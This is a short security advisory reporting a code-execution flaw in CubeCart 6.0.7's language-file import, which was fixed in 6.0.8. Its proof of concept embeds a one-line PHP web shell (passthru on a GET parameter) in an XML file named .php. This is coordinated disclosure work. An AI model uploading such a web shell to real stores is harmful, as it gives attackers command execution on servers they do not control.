CubeCart 6.0.7 Code Execution

Type packetstorm
Reporter Tim Coen
Modified 2015-11-07T00:00:00


                                            `Security Advisory - Curesec Research Team  
1. Introduction  
Affected Product: CubeCart 6.0.7  
Fixed in: 6.0.8  
Fixed Version Link:  
Vendor Contact:  
Vulnerability Type: Code Execution  
Remote Exploitable: Yes  
Reported to vendor: 09/07/2015  
Disclosed to public: 10/07/2015  
Release mode: Coordinated release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
2. Vulnerability Description  
When importing a language from a language file, it is only checked that the  
file contains valid XML, but the original extension of the file is kept, which  
makes it possible to gain code execution by uploading a file containing PHP  
Please note that admin credentials are required.  
3. Proof of Concept  
Create a language file with valid XML and a file name like en.php with PHP code  
<language version="2.0">  
<![CDATA[My Language (UK)]]>  
<code>My <?php passthru($_GET['x']);?>Language</code>  
<group name="address">  
<string name="state">  
Upload the file here: http://localhost/ecommerce/CubeCart-6.0.6/admin.php?_g=  
And visit it to execute the code: http://localhost/ecommerce/CubeCart-6.0.6/  
4. Solution  
To mitigate this issue please upgrade at least to version 6.0.8:  
Please note that a newer version might already be available.  
5. Report Timeline  
09/07/2015 Informed Vendor about Issue  
10/05/2015 Vendor releases fix  
10/07/2015 Disclosed to public  
Blog Reference: